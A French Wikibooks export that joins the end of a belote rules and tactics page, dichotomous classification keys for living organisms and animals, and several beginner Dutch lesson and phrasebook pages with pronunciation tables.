d'une montre en commençant par son voisin de gauche, de la manière suivante: Trois cartes (situées sur le dessus du tas) sont distribuées face cachée à chaque joueur puis deux cartes suplémentaires leur sont distribuées de la même manière. Après la première phase de distribution, le ''donneur'' retourne la carte du dessus du tas non encore distribué. La couleur de la carte ainsi retournée est proposée comme atout aux joueurs. Chaque joueur, dans le sens de distribution en commencant par la gauche du ''donneur'', accepte ou non l'atout. Le premier joueur qui accepte l'atout récupère la carte retournée et on procède à la deuxième phase de la distribution (le joueur ayant pris la carte recevant deux cartes, les autres trois cartes). Si personne n'accepte la carte, on procède à un deuxième tour où chacun peut choisir une quelconque couleur d'atout (il récupère alors la carte retournée et on procède à la deuxième phase de distribution). Si aucune couleur d'atout n'est choisie, les cartes sont regroupées et commence alors la ''donne'' suivante. Chaque joueur dispose donc de 8 cartes en fin de donne, qu'il peut classer et consulter à sa guise (il les tient généralement en éventail dans sa main, devant lui) mais sans les rendre visibles des autres joueurs. En cas d'erreur dans la ''donne'' (les joueurs doivent vérifier qu'ils possèdent bien 8 cartes), deux choix existent selon les règles: - Une nouvelle coupe et une nouvelle donne sont effectuées par les mêmes joueurs sans pénalité. - On entame la partie suivante (le donneur change) et l'équipe adverse à celle du donneur fautif reçoit 160 points supplémentaires. === Le jeu de la carte === Il s'agit de la partie centrale du jeu, au cours duquel les joueurs déposent leur cartes, lors de 8 tours de jeu appelés '''plis''' ou '''levées''', '''elle est commune à tous les types de belote'''. Le ''jeu de la carte'' débute une fois l'atout déterminé (soit par le système de ''retourne'', soit par ''enchères''). Le joueur situé à gauche du ''donneur'' effectue la première '''entame''', ce qui signifie qu'il dépose une des cartes de sa main au centre du jeu. Les ''entames'' des tours suivants sont effectuées par le joueur venant de remporter le dernier ''pli''. Les trois autres joueurs déposent ensuite à leur tour, dans le sens de distribution, l'une des cartes de leur main au centre du jeu selon les règles de jeu correspondant à la couleur d'atout de l' ''enchère '' définitive (ou de l'atout choisit par le système de ''retourne''). * règles de jeu : - si le joueur possède au moins une carte de la couleur d'entame, il doit jouer l'une de ces cartes. - si le joueur ne possède pas de carte de la couleur d'entame et que la carte la plus forte a été déposée par son partenaire, il joue la carte de son choix. Il part ce biais la possibilité d'effectuer un '''appel''' à son partenaire ou une '''défausse''' (appelée aussi une '''pisse'''). - si le joueur ne possède pas de carte de la couleur d'entame, que la carte la plus forte n'a pas été déposée par son partenaire et qu'il possède des cartes d'atout, il doit jouer l'une de ces cartes. On dit alors qu'il '''coupe''' l'adversaire. - si le joueur ne possède ni de carte de la couleur d'entame, ni de carte d'atout, il joue la carte de son choix. - si le joueur joue atout et qu'il possède dans son jeu au moins une carte d'atout plus forte que la plus forte carte d'atout déjà posée, il doit jouer l'une de ces cartes. On dit qu'il faut '''monter à l'atout''' ou '''surcouper'''. Si ce n'est pas possible, et selon les règles, il doit soit jouer un atout plus faible, soit il est autorisé à se défausser. Le joueur ayant déposé la carte la plus forte (selon l'ordre des cartes qui suit) remporte le pli à la fin du tour, il le retourne et le dépose au dessus de ceux que lui et son partenaire ont déjà remporté, il peut alors effectuer l'entame suivante. Ordre des cartes : - Hors atout (du moins fort au plus fort) : Sept, Huit , Neuf, Valet, Dame, Roi, Dix, As. - À l'atout (du moins fort au plus fort) : Sept, Huit, Dame, Roi, Dix, As, Neuf, Valet. - Toute carte d'atout l'emporte sur les cartes d'autre couleur. - Toute carte de la couleur d'entame l'emporte sur les cartes d'autre couleur, hors atout. À tout moment du ''jeu de la carte'', un joueur peut demander à consulter le '''dernier pli''' retourné. === Décompte des points === Une fois les 8 tours du ''jeu de la carte'' effectués, un joueur de chaque équipe additionne les points correspondants aux cartes des ''plis'' remportés par son équipe. Si celle-ci a remporté le dernier pli, il rajoute 10 points au total obtenu. Il s'agit de la règle du '''dix de der'''. Le total des points du jeu est de 162. Si la somme des deux totaux obtenus est différente de ce nombre, il est procédé à un nouveau décompte des points. * Hors atout : **L'As vaut 11 points **Le Dix vaut 10 points **Le Roi vaut 4 points **La Dame vaut 3 points **Le Valet vaut 2 points **Le Neuf, le Huit, le Sept valent chacun 0 point * À l'atout : **Le Valet vaut 20 points **Le Neuf vaut 14 points **L'As vaut 11 points **Le Dix vaut 10 points **Le Roi vaut 4 points **La Dame vaut 3 points **Le Huit, le Sept valent chacun 0 point === ''Capot'' === Un capot est réussi par une équipe si elle remporte les 8 plis de la donne. === Points marqués par chaque équipe === Pour gagner la ''donne'', l'équipe qui est ''partie'' (c'est à dire qui a choisi l'atout) doit totaliser plus de points que l'équipe adverse (en comptant les points éventuels de la ''belote'' et des annonces de chaque équipe), son total doit donc dépasser 81. La ''belote'' peut être comptabilisée pour atteindre ce total. Si elle a gagné la donne, l'équipe qui est ''partie'' marque 80 points auquel elle ajoute le score arrondi de son total de points. Elle marque 90 points supplémentaires en cas de ''capot''. L'équipe adverse marque le score arrondi de son total de points. Si elle a perdu la donne, l'équipe qui est ''partie'' ne marque aucun point (hors ''belote''). L'équipe adverse marque 160 points. Les '''scores arrondis''' sont des multiples de 10 qui rendent le décompte des points marqués sur toute la partie plus facile. === Fin de la partie === Une partie se joue généralement en 1000 points. Si les deux équipes dépassent ce score lors de la même partie, l'équipe qui atteint le plus gros total remporte la partie. Si leur total est identique, une donne supllémentaire est effectuée pour les départager. == Les annonces == Une annonce est une combinaison de cartes que l'on a en main suite à la ''donne'', qui donne droit à un bonus de points. Les annonces possibles sont les suivantes : ;La belote :La ''belote'' est une annonce constituée de la Dame et du Roi d'atout, elle vaut 20 points. :Elle est annoncée lors du jeu de la première de ces cartes (on dit : « Belote ! »), puis de la seconde (on dit : « Rebelote ! »). ;La tierce :La ''tierce'' est une annonce constituée de trois cartes de même couleur qui se suivent dans l'ordre naturel (c'est-à-dire Sept, Huit, Neuf, Dix, Valet, Dame, Roi, et As). Elle vaut 20 points. ;Le cinquante :Le ''cinquante'' est une annonce constituée de quatre cartes de même couleur qui se suivent dans l'ordre naturel, il vaut 50 points. ;Le cent :Le ''cent'' est une annonce constituée de cinq cartes de même couleur qui se suivent dans l'ordre naturel, il vaut 100 points. ;Le carré :Le ''carré'' est une annonce constituée de quatre cartes identiques. :Le ''carré'' de Valets'' vaut 200 points. :Le ''carré'' de Neuf'' vaut 150 points. :Les ''carrés'' d'As, de Dix, de Rois, de Dames (couramment appelé ''bordel''), valent chacun 100 points. :Les ''carrés'' de Huit et de Sept ne valent aucun point. === Comptabilisation des annonces === Pour permettre de les comptabiliser, chaque joueur doit énumérer la ou les ''annonces'' (hors ''belote'') dont il dispose dès que son tour vient au cours de la première ''levée''. En cas de demande de la part d'un des autres joueurs, il doit montrer les cartes constituant cette annonce aux trois autres joueurs dès que son tour vient au cours de la deuxième ''levée''. En cas de refus, son annonce est annulée. À chaque ''donne'', seule une équipe comptabilise ses ''annonces'' , cette équipe est celle qui dispose de l'annonce la plus forte. *Une ''annonce'' est plus forte qu'une autre si elle vaut plus de points. *Une ''annonce'' est plus forte qu'une autre si elles valent le même nombre de points et que la première est plus haute dans l' ''ordre naturel'' des cartes. *Une ''annonce'' est plus forte qu'une autre si elles valent le même nombre de points, qu'elles ont la même hauteur dans l' ''ordre naturel'' des cartes, et que la première est à l'atout. Si les ''annonces'' les plus fortes de chaque équipe ne sont pas comparables selon les trois règles précédentes, aucune d'elles (en dehors de la ''belote'') n'est comptée. Lorsqu'elle comptabilise ses annonces, une équipe : *ajoute la somme des points correspondants aux annonces de ses deux joueurs au total de points des plis qu'elle a remporté ; *ajoute également ces points à son score total, sauf si elle était partie et qu'elle fait finalement moins de points que l'équipe adverse, qui marque alors ces points ; *la ''belote'' est à part, et est toujours marquée par l'équipe qui l'annonce. == Variantes == * les points sont comptés arrondis à 5, ou comptés au point près ; * les points marqués par l'équipe adverse lors d'une chute sont de 240 ; * si un adversaire a déjà coupé un pli, et que le joueur ne peut pas ''surcouper'', il est autorisé à se défausser (au lieu de jouer un atout plus faible) ; * on ne compte pas les annonces (belote comprise) pour savoir si une donne est chutée ou non (on dit alors que les '''annonces ne servent pas à prendre''') ; * on ne compte pas les annonces (belote '''non''' comprise) pour savoir si une donne est chutée ou non (on dit alors que les '''annonces ne servent pas à prendre''') ; * on peut annuler la partie si l'on a strictement moins de onze points dans son jeu et aucun atout ; * le carré d'As vaut 110 et le carré de neufs 140 (10 fois la valeur de la carte à l'atout) ; * le carré de Huit annule les autres annonces ; * le carré de Sept annule la donne ; * l'ordre naturel pour déterminer les annonces est Sept, Huit, Neuf, Valet, Dame, Roi, Dix, As ; * lors de la distribution, si aucun atout n'est choisi au deuxième tour, le donneur est forcé de choisir un atout (variante appelée ''la vache'') ; * on peut distribuer toutes les cartes, et procéder ensuite à des enchères pour déterminer l'atout. Cette variante est appelée '''[[coinche]]''', ou encore ''contrée'' ou ''belote bridgée'' ; * après un preneur (au premier ou au second tour), les autres joueurs peuvent « monter dans la couleur » en respectant l'ordre : ''trèfle'', ''carreau'', ''cœur'', ''pique'', ''sans atout'', ''tout atout''. * Une variante à '''3 joueurs''' existe. Dans ce type de jeu, la personne qui a choisit l'atout joue contre les deux autres joueurs. Les règles restent les mêmes, mais on enlève du jeu les cartes ''7'' et ''8'' de façon à ce que toutes les cartes soient distribuées, en 3 fois 8 cartes. Le ''capot'' est très rare dans la variante à 3. == Principales tactiques de jeu == === Choix de l'atout === Étant donné que l'on n'a que 5 cartes sur les 8 finales lors du choix de l'atout, celui-ci se fait de manière en tenant compte d'un facteur chance ; toutefois deux cas sont particuliers : * le joueur immédiatement après le donneur peut supposer que les cartes qu'il va recevoir ensuite seront de la même couleur que la carte proposée à l'atout, en supposant que les cartes faisaient partie d'un même pli la donne précédente. * pour cette raison, et pour être sûr d'éviter un ''capot'', ce joueur prend très souvent la carte d'atout si celle-ci est un ''valet''. === Jeu de la carte === La couleur d'atout est la couleur princiale de la belote, autour de laquelle se bâtissent les stratégies « classique ». L'équipe qui part choisit généralement l'atout parce qu'elle a les plus forts (''valet'', ''neuf'') et en a plus que l'équipe adverse ; de ce fait, elle cherche à faire ''tomber les atouts'', afin que l'équipe adverse n'en ait plus. L'équipe qui part peut alors joueur ses ''as'' sans risquer de se faire couper. L'équipe qui défend quant à elle cherche à garder ses atouts, et à faire ''couper'' ses adversaires, afin de leur faire perdre leurs atouts sans en investir. === Les appels === Un appel est une manière de jouer qui consiste à faire comprendre à son partenaire quelles ''cartes maîtresses'' (capable de remporter un ''pli'') on a. Les appels se font généralement en défaussant une carte de la couleur de se carte maîtresse, sur un pli que son partenaire remporte. ''Exemple :'' Partenaire 1 lance le valet à l'atout pique, Adversaire 1 joue un atout, et Partenaire 2 n'a pas d'atout, mais il a un as de cœur. Partenaire 2 joue alors un autre cœur. === Les impasses === Une impasse consiste à ne pas jouer une ''carte maîtresse'', en supposant que la carte immédiatement en dessous ne soit pas jouée, et qu'on puisse la prendre dans un pli ultérieur avec la ''carte maîtresse''. ''Exemple :'' Partenaire 1 joue un huit de carreau, Adversaire 1 n'a pas de carreau, et se défausse d'une autre couleur, Partenaire 2 joue une dame de carreau. Adversaire 2 sait que le dix de carreau n'a pas encore joué, et possède l'as de carreau et valet de carreau. Il joue alors le valet de carreau, en souhaitant que la prochaine fois que la couleur carreau sera demandé, il prendra le pli avec son as, tout en gagnant le dix de carreau. Deux risques sont possibles : le premier est de se faire couper au second tour de la couleur de l'impasse, et le second est d'avoir fait l'impasse au début du pli, et de voir le dix joué par un adversaire remporter ce pli. === Triche === Comme tout jeu de carte, la belote donne lieu à de multiples manière de tricher, plus ou moins bien intégrées dans le cours du jeu. La triche est majoritairement utilisée pour '''communiquer à son partenaire des informations concernant son propre jeu''', en utilisant le geste ou la parole en dehors du cadre défini par les règles du jeu (on dit communément qu'il y a ''parlante''). ''Exemple :'' Dire tout haut « Tu me fends le '''cœur'''. » Appuyer un ''appel'' (qui lui entre tout à fait dans le cadre du jeu) pour le rendre plus clair, notamment en frappant la table lorsque l'on dépose sa carte, est également un acte de triche. Annoncer des annonces que l'on a pas (en espérant que personnes ne demande à les voir) également. Clés dichotomiques : Départ 4842 18087 2005-07-30T13:53:28Z Jim2k 289 Voici un exemple : [[w:fr:Clé dichotomique|clés dichotomiques]]. {| border=1 cellspacing=0 align="right" cellpadding=2 width="250" |- align=center bgcolor=plum !Glossaire pour cette page <br><small>(tous les liens vont vers des articles Wikipedia)</small> |- | {| align=left bgcolor=white |- |'''[[w:fr:Cellule|Cellule]]''' : Unité fondamentale structurelle de toute chose vivante |- |'''[[w:fr:Noyau cellulaire|Noyau]]''' : [[w:fr:Organe|Organe]] à [[w:fr:Membrane|membrane]] fermée qui contient les [[w:fr:Chromosome|chromosomes]] |- |'''[[w:fr:Eucaryote|Eucaryote]]''' : Un [[w:fr:Organisme|organisme]] doté d'un noyau |- |'''[[w:fr:Procaryote|Procaryote]]''' : Un organisme sans noyau |- |'''[[w:fr:Hétérotrophe|Hétérotrophe]]''' : Un organisme qui ne peut pas fabriquer sa propre énergie |- |'''[[w:fr:Autotrophe|Autotrophe]]''' : Un organisme qui peut fabriquer sa propre énergie |- |'''[[w:fr:Exoenzyme|Exoenzyme]]''' : Une enzyme utilisée pour casser les [[w:fr:Molécule organique|molécules organiques]] à l'extérieur du corps |- |'''[[w:fr:Lipide|Lipide]]''' : [[w:fr:Acide gras|Acide gras]] [[w:fr:Ester|Esters]] qui forment la base des membranes des cellules |- |'''[[w:fr:Ether|Ether]]''' : |- |'''[[w:fr:Glycérol|Glycérol]]''' : |- |'''[[w:fr:Hydrocarbure|Hydrocarbure]]''': Un composé organique qui ne contient que du [[w:fr:Carbone|carbone]] et de l'[[w:fr:Hydrogène|hydrogène]]. |} |} ==1== *Nombre de '''cellules''' **De une à beaucoup, indifférenciées - [[#2]] **Beaucoup, différenciées en tissus - [[#3]] ==2== *Présence d'un '''noyau''' **'''Eucaryote''' - [[Clés dichotomiques : Protista|Protista]] **'''Procaryote''' - [[#5]] ==3== *Source d'énergie **'''Autotrophe''' (avec des [[w:fr:Chloroplaste|chloroplaste]]s dans le tissu des cellules) - [[#4]] **'''Hétérotrophe''' - [[#6]] ==4== *Structure des chloroplastes **Chloroplastes avec quatre membranes, chlorophylle ''c'' présente - Protista: Phaeophyceae **Chloroplastes avec deux membranes, chlorophylle ''c'' absente - [[#7]] ==5== *Structure de membrane lipidique **Doubles couches de lipide de chaînes hydrocarbonées liées par des liaisons d'éther au glycérol - [[Clés dichotomiques : Archaea|Archaea]] **Tout autre structure - [[Clés dichotomiques : Bacteria|Bacteria]] ==6== *Méthode d'obtention de l'énergie **Exoenzymes - [[Clés dichotomiques : Fungi|Fungi]] **Consommation - [[Clés dichotomiques : Animalia|Animalia]] ==7== *Pigmentation ** Chlorophylles ''a'' et ''b'' - [[Clés dichotomiques : Plantae|Plantae]] ** Chlorophylle ''a'' seulement - Protista : Rhodophyta [[en:Dichotomous Key:Start]] Leçon 1: Se Saluer (néerlandais) 4843 18507 2005-08-05T00:01:17Z Laurent Bouvier 425 /* Pour aller plus loin */ {{Néerlandais-Page-Suivante|Prec=Progressons pas à pas|Suiv=Leçon 2: Se présenter|TDM=Progressons pas à pas}} == Le dialogue == {| border=0 cellspacing="0" style="background-color: #FF3366;border-collapse: collapse;text-align=center;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align="center" |- |* ''Goedendag<sup>1<sup>, meneer!'' | | /ɣudǝnd'''a'''χ mǝn'''e.'''ɾ/ | Bonjour, monsieur! |- |* ''Dag<sup>2<sup>, mevrouw. Hoe maakt u<sup>3<sup> het?<sup>4<sup>'' | /d'''a'''χ mǝvɾ'''ʌu'''ʋ ɦu mɑ.ktu ǝt/ | Bonjour, madame. Comment allez-vous ? |- |* ''Heel goed! en u?'' | /ɦel ɣ'''u'''t ǝn y/ | Très bien! Et vous ? |- |* ''Niet zo goed.'' | /nit zo ɣ'''u'''t/ | Pas si bien. |- |* ''Bent u ziek ?'' | /bɛnt y z'''i'''k/ | Êtes-vous malade ? |- |* ''Ik weet het nog niet: Ik ga nu naar de dokter!'' | /ɪk ʋ'''e.'''t ǝt nɔɣ nit ɪk ɣa ny: na.r dǝ d'''o'''ktœ:ɾ/ | Je ne sais pas encore: je vais chez le docteur maintenant ! |} == Notes == '''1.''' Pour saluer on emploie indifféremment ''Goedendag'' (Bonjour) qui s'abrège en ''Dag'', un peu moins cérémonieux mais on peut aussi employer comme en anglais ou un allemand des expressions spécifiant le moment de la journée: ** ''Goedemorgen'' (Bonne matinée) ** ''Goedeavond'' (Bonsoir) Attention à la prononciation, ''Goede...'' dans les salutations est souvent prononcé ''Goeie...''. L'orthographe ne le reflète que rarement. '''2.'''Attention: ''Dag!'' peut à la fois correspondre à Bonjour et à au revoir. Dans le second cas en dehors du contexte, on peut noter que le mot est allongé est qu'un accent mélodique est mis sur la voyelle. '''3.'''Le néerlandais comme le français connait le tutoiement et le vouvoiement. Les personnes lui correspondant sont ''u''(vous) et ''je''(tu). La conjugaison est cependant identique! '''4.'''L'expression correspond au «Comment ça va?» et au «Comment allez-vous ?» mais faites attention à la construction. Une alternative: ''Hoe gaat het met u ?'' == Notes sur la prononciation == Dans les premières leçons, les dialogues complets seront détaillées nous souhaitons appeler votre attention sur un certain nombre de points: * Les assoudissements des consonnes en final de mots: Goed prononcé goet. * Le cas de ''het'': le h ne se prononce pas. C'est une exception tout les autres sont aspirés. == La leçon de grammaire == Le néerlandais connait les personnes suivantes: {| border=1 cellspacing="0" style="background-color: #FFFF66;border-collapse: collapse;text-align=center" align="center" |- ! ! colspan=2 | singulier ! colspan=2 | pluriel |- !Personne ! forme longue ! forme courte ! forme longue ! forme courte |- ! 1<sup>ère</sup> | colspan=2 | ik | wij | we |- ! 2<sup>e</sup> | jij | je | colspan=2| jullie |- ! 2<sup>e</sup> politesse | colspan=4 | u |- ! 3<sup>e</sup> masculin | colspan=2| hij | zij | ze |- ! 3<sup>e</sup> féminin | zij | ze | zij | ze |- ! 3<sup>e</sup> neutre | colspan=2| het | zij | ze |} === Le présent === Le présent en néerlandais est très simple: il ne connait que trois formes différentes dont l'une est l'infinitif. Attention cependant au doublement des voyelles et des consonnes! {| border=1 cellspacing="0" style="background-color: #FFFF66;border-collapse: collapse;text-align=center" align="center" |- ! Personne ! <small>Radical à</small><br><small>syllabe ouvert</small> ! <small>Radical à</small><br><small> syllabe fermé</small> ! <small>Radical </small><br><small>finissant en d</small> ! <small>Radical </small><br><small>finissant en t</small> ! <small>Radical </small><br><small>finissant en v</small> ! <small>Radical </small><br><small>finissant en z</small> ! <small>Infinitif en -n<small> |- ! Infinitif ! maken ! liggen ! redden ! wachten ! durven ! vrezen !gaan |- | ik | maak | lig | red | wacht | durf | vrees | ga |- | je<br>u<br>hij<br>ze<br>het | maakt | ligt | redt | wacht | durft | vreest | gaat |- | we<br>jullie<br>ze | maken | liggen | redden | wachten | durven | vrezen | gaan |} == Pour aller plus loin == * Dans le guide de conversation: ** [[Salutations (néerlandais)|Salutations]] * Dans la guide de grammaire: {{Néerlandais-Page-Suivante|Prec=Progressons pas à pas|Suiv=Leçon 2: Se présenter|TDM=Progressons pas à pas}} Dans un café (néerlandais) 4844 18128 2005-07-30T16:19:53Z Laurent Bouvier 425 {{Néerlandais-Page-Suivante|Prec=Guide de conversation|Suiv=Dans un restaurant|TDM=Guide de conversation}} == Les phrases types == {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;" align=center |- ! Néerlandais ! Prononciation ! Francais |- |Ik zou graag koffie willen |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | /ɪk z'''ʌu''' ɣrɑ.ɣ 'kof'''i.''' ʋɪlǝ./ | Je voudrais du café |- |Ik will graag een waffel alstublief |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | /ɪk ʋɪl ɣrɑ.ɣ en 'ʋɑfl ɑlstybli.f/ | Je veux bien une gauffre, s'il vous plait |} == Le vocabulaire == == Pour plus de détails == voir les leçons: * [[Leçon 1: Se Saluer (néerlandais)|Leçon 1]] Se Saluer {{Néerlandais-Page-Suivante|Prec=Guide de conversation|Suiv=Dans un restaurant|TDM=Guide de conversation}} Demander son chemin(néerlandais) 4845 18072 2005-07-30T12:39:00Z Laurent Bouvier 425 En néerlandais: ''naar de weg vragen'' == Dans l'environnement immédiat == Demander son chemin (néerlandais) 4846 18115 2005-07-30T16:02:13Z Laurent Bouvier 425 /* Dans l'environnement immédiat */ En néerlandais: ''naar de weg vragen'' {{Néerlandais-Page-Suivante|Prec=Remercier|Suiv=Guide de conversation|TDM=Guide de conversation}} == Dans l'environnement immédiat == {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;" align=center |- ! Néerlandais ! Prononciation ! Francais |- |Waar is de uitgang ? |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // |Où est la sortie ? |- |Waar is de ingang ? |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // |Où est la entrée ? |- | Links |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // | à gauche |- | Rechts |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // | à droite |- | Rechtdoor |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // | Tout droit |- | Om de overkant van de straat |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // | De l'autre côté de la rue |} {{Néerlandais-Page-Suivante|Prec=Remercier|Suiv=Guide de conversation|TDM=Guide de conversation}} A la poste (néerlandais) 4847 18118 2005-07-30T16:03:28Z Laurent Bouvier 425 /* Les phrases types */ {{Néerlandais-Page-Suivante|Prec=Guide de conversation|Suiv=Dans un restaurant|TDM=Guide de conversation}} == Les phrases types == {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;" align=center |- ! Néerlandais ! Prononciation ! Francais |- |Heeft u postzegels ? |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // | Avez-vous des timbres ? |} == Le vocabulaire == == Pour plus de détails == voir les leçons: * [[Leçon 1: Se Saluer (néerlandais)|Leçon 1]] Se Saluer {{Néerlandais-Page-Suivante|Prec=Guide de conversation|Suiv=Dans un restaurant|TDM=Guide de conversation}} A l'hôtel (néerlandais) 4848 18081 2005-07-30T12:56:08Z Laurent Bouvier 425 {{Néerlandais-Page-Suivante|Prec=Guide de conversation|Suiv=Dans un restaurant|TDM=Guide de conversation}} == Les phrases types == {| border=0 |- |Heeft u een kamer vrij ? |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // |Avez-vous une chambre de libre ? |} == Le vocabulaire == == Pour plus de détails == voir les leçons: * {{Néerlandais-Page-Suivante|Prec=Guide de conversation|Suiv=Dans un restaurant|TDM=Guide de conversation}} Salutations (néerlandais) 4849 39479 2006-04-02T13:09:25Z 82.228.252.90 /* Aborder un inconnu */ {{Néerlandais-Page-Suivante|Suiv=Se présenter|Prec=Guide de conversation|TDM=Guide de conversation}} == Avec une connaissance == === En arrivant === {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! Néerlandais ! Prononciation ! Francais |- |Goedenmorgen<br>Goeiemorgen | // |Bonjour! (le matin) |- |Goedenmiddag<br>Goeiemiddag | // |Bonne après midi! |- |Goedendag!<br>Goeiedag!<br>Dag! | /dɑɣ/ |Bonjour! |- |Goedenavond!<br>Goeienavond! | // |Bonsoir! |} === En partant === {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! Néerlandais ! Prononciation ! Francais |- |Goeienacht! | // |Bonne nuit! |- |Tot ziens! | // |A revoir!''(=littéralement le même sens)'' |- |Tot gauw!<br>Tot binnenkort! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // |A bientôt'' |- |Tot morgen! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // |A demain! |- |Dag! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | /daʔɑɣ/<br>/dɑ.ɣ/ |Au revoir! |- |Nog een goede avond! |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // |Passez une bonne fin de soirée! |} == Aborder un inconnu == {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! Néerlandais ! Prononciation ! Francais |- |Neem u niet kwalijk! | // |Excusez-moi! |- |Excuseer!<br>Excuseert u mij! | // |Pardonnez-moi! |- |Sorry! | // |Pardon! |} == Avec les amis == On utilisera ''Hoi'', ''Hallo'', ''Yo''! == Au téléphone == {| border=0 border="1" cellspacing="0" style="background-color: #99CCFF; border-collapse: collapse;font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" align=center |- ! Néerlandais ! Prononciation ! Francais |- | Met Herman De Vos || || Herman De Vos à l'appareil |} <br> {{Néerlandais-Page-Suivante|Suiv=Se présenter|Prec=Guide de conversation|TDM=Guide de conversation}} Chez le docteur (néerlandais) 4850 18092 2005-07-30T14:10:37Z Laurent Bouvier 425 /* Les phrases types */ Néerlandais: * ''naar de dokter gaan'' (aller chez le docteur) * ''bij de dokter zijn geweest'' (être aller chez le docteur) {{Néerlandais-Page-Suivante|Prec=Guide de conversation|Suiv=Dans un restaurant|TDM=Guide de conversation}} == Les phrases types == {| border=0 |- | |style="font-family: Arial Unicode MS, Lucida Sans Unicode, Lucida Grande, TITUS Cyberbit Basic, Code2000, MV Boli, MS Mincho" | // | |} == Le vocabulaire == == Pour plus de détails == voir les leçons: * [[Leçon 1: Se Saluer (néerlandais)|Leçon 1]] Se Saluer {{Néerlandais-Page-Suivante|Prec=Guide de conversation|Suiv=Dans un restaurant|TDM=Guide de conversation}} Clés dichotomiques : Animalia 4851 18110 2005-07-30T14:37:51Z Jim2k 289 /* 1 */ {{R|Animalia|Animalia|Animalia}} <br /> ==1== *Présence d'organes spécialisés **Oui - [[#2]] **Non - [[#3: Parazoa or Agnotozoa]] ==2== *Symétrie **Radiale ou pentamerism - [[#4: Radiata ou Echinodermata]] **Bilatérale - [[#5: Bilateria]] ==3 : Parazoa ou Agnotozoa== *Présence de tissus simples **Oui - [[Clés dichotomiques : Agnotozoa|Agnotozoa]] **Non - [[Clés dichotomiques : Porifera|Porifera]] ==4 : Radiata ou Echinodermata== *Larves bilatérales, système d'eau vasculaire **Présent - [[Clés dichotomiques : Echinodermata|Echinodermata]] **Non présent - [[#21 : Radiata]] ==5: Bilatéria== *Premier corps ouvert au développement **Bouche - [[#6 : Protostomes]] **Anus - [[#19 : Deuterostomes]] ==6 : Protostomes== *Larves trochophores **Oui - [[#8 : Trochozoa]] **Non - [[#7]] ==7== *Présence d'un lophophore **Oui - [[#17 : Lophophorate]] **Non - [[#12]] ==8 : Trochozoa== *Segmentation **Présent - [[Clés dichotomiques : Annelida|Annelida]] **Non présent - [[#9]] ==9== *Présence d'un manteau **Oui - [[Clés dichotomiques : Mollusca|Mollusca]] **Non - [[#10]] ==10== *Symbiotique **Oui - [[Clés dichotomiques : Nemertina|Nemertina]] **Non - [[Clés dichotomiques : Sipuncula|Sipuncula]] ==11== *Les adultes secrètent des tubes chitineux dans lesquels ils vivent **Oui - [[Clés dichotomiques : |Phoronidae]] **Non - [[Clés dichotomiques : Bryozoa|Bryozoa]] ==12== *Ecydsis **Oui - [[#13: Ecdysozoa]] **Non - [[#18]] ==13: Ecdysozoa== *Segmentation **Oui - [[#14: Panarthropoda]] **Non - [[#16]] ==14: Panarthropoda== *Pattes jointes **Oui - [[Clés dichotomiques : Arthropoda|Arthropoda]] **Non - [[#15]] ==15== *Quatre parties de corps et une tête **Oui - [[Clés dichotomiques : Tardigrade|Tardigrade]] **Non, une segmentée et une têtre à trois segments - [[Clés dichotomiques : Onychophora|Onychophora]] ==16== *Présence d'échelles comme un squelette à chaque extrémité, utilisées pour le mouvement **Oui - [[Clés dichotomiques : Loricifera|Loricifera]] **Non - [[#22]] ==17: Lophophorate== *Présence de deux coquilles **Oui - [[Clés dichotomiques : Brachiopoda|Brachiopoda]] **Non - [[#11]] ==18== *Présence d'un coelum **Pseudocoelomate - [[#25: Gnathifera]] **Acoelomate - [[#24]] ==19: Deuterostomes== *Notochord présent à un certain point du cycle de vie **Oui - [[Clés dichotomiques : Chordata|Chordata]] **Non - [[#20]] 